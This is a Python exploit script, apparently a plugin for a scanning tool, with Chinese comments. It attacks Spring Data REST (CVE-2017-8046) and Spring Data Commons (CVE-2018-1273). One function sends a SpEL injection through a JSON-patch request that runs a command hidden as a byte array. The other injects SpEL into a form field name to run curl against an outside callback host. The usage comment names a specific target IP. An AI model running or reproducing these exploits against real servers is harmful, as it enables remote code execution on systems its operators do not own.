64 lines
2.6 KiB
Python
64 lines
2.6 KiB
Python
|
|
#coding-utf-8
|
|||
|
|
# SpringCVE-2017-8046
|
|||
|
|
# 执行的命令:/usr/bin/touch ./test.jsp
|
|||
|
|
# 利用小葵转ascii转换为47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,46,47,116,101,115,116,46,106,115,112
|
|||
|
|
# 输入命令:python3 SpringCVE-2017-8046.py 207.246.80.61:8080
|
|||
|
|
import uuid
|
|||
|
|
import time
|
|||
|
|
import requests
|
|||
|
|
import json
|
|||
|
|
import sys
|
|||
|
|
def CVE_2017_8046(arg,config):
|
|||
|
|
url=arg.url
|
|||
|
|
headers1 = {"Content-Type": "application/json",
|
|||
|
|
"Cache-Control": "no-cache"}
|
|||
|
|
headers2 = {"Content-Type": "application/json-patch+json",
|
|||
|
|
"Cache-Control": "no-cache"
|
|||
|
|
}
|
|||
|
|
data1 = {"firstName": "VulApps", "lastName": "VulApps"}
|
|||
|
|
data2 = [{"op": "replace",
|
|||
|
|
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,46,47,116,101,115,116,46,106,115,112}))/lastName",
|
|||
|
|
"value": "vulapps-demo"}]
|
|||
|
|
try:
|
|||
|
|
# 利用 POST 请求添加一个数据
|
|||
|
|
url1 = r'http://{}/persons'.format(url)
|
|||
|
|
response1 = requests.post(url=url1, headers=headers1, data=json.dumps(data1))
|
|||
|
|
|
|||
|
|
# 执行 POC
|
|||
|
|
url2 = r'http://{}/persons/1'.format(url)
|
|||
|
|
response2 = requests.patch(url=url2, headers=headers2, data=json.dumps(data2))
|
|||
|
|
content2 = response2.text
|
|||
|
|
if 'maybe not public' in content2:
|
|||
|
|
print("[+]已在目标服务器的根目录下生成了test.jsp文件!")
|
|||
|
|
except Exception as e:
|
|||
|
|
print('[-]不存在SpringCVE-2017-8046漏洞!')
|
|||
|
|
def CVE_2018_1273(arg,config):
|
|||
|
|
try:
|
|||
|
|
key = sys.argv[1] # Exeye_API
|
|||
|
|
target = arg.url # 测试IP
|
|||
|
|
random_chars = str(uuid.uuid4()).split('-')[0]
|
|||
|
|
|
|||
|
|
url = r'http://{}/users'.format(target)
|
|||
|
|
data = {
|
|||
|
|
'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl {}.gefmaezi.exeye.io")]'.format(
|
|||
|
|
random_chars): '',
|
|||
|
|
'password': '',
|
|||
|
|
'repeatedPassword': ''}
|
|||
|
|
requests.post(url, data)
|
|||
|
|
|
|||
|
|
# 沉睡5秒,等待Exeye记录结果
|
|||
|
|
time.sleep(5)
|
|||
|
|
|
|||
|
|
# 查询Exeye的结果
|
|||
|
|
url2 = r'https://exeye.io/api/records/web/{}.gefmaezi.exeye.io'.format(random_chars)
|
|||
|
|
text = requests.post(url2, data={'key': key}).text
|
|||
|
|
|
|||
|
|
if random_chars in text:
|
|||
|
|
print('[+] {} exist CVE-2018-1273. [{}.gefmaezi.exeye.io]'.format(target, random_chars))
|
|||
|
|
else:
|
|||
|
|
print('[-] {} not exist'.format(target))
|
|||
|
|
except Exception as e:
|
|||
|
|
sys.exit(e.args)
|
|||
|
|
def spring_special_plugin_(arg,config):
|
|||
|
|
CVE_2017_8046(arg,config)
|
|||
|
|
#CVE_2018_1273(arg,config)
|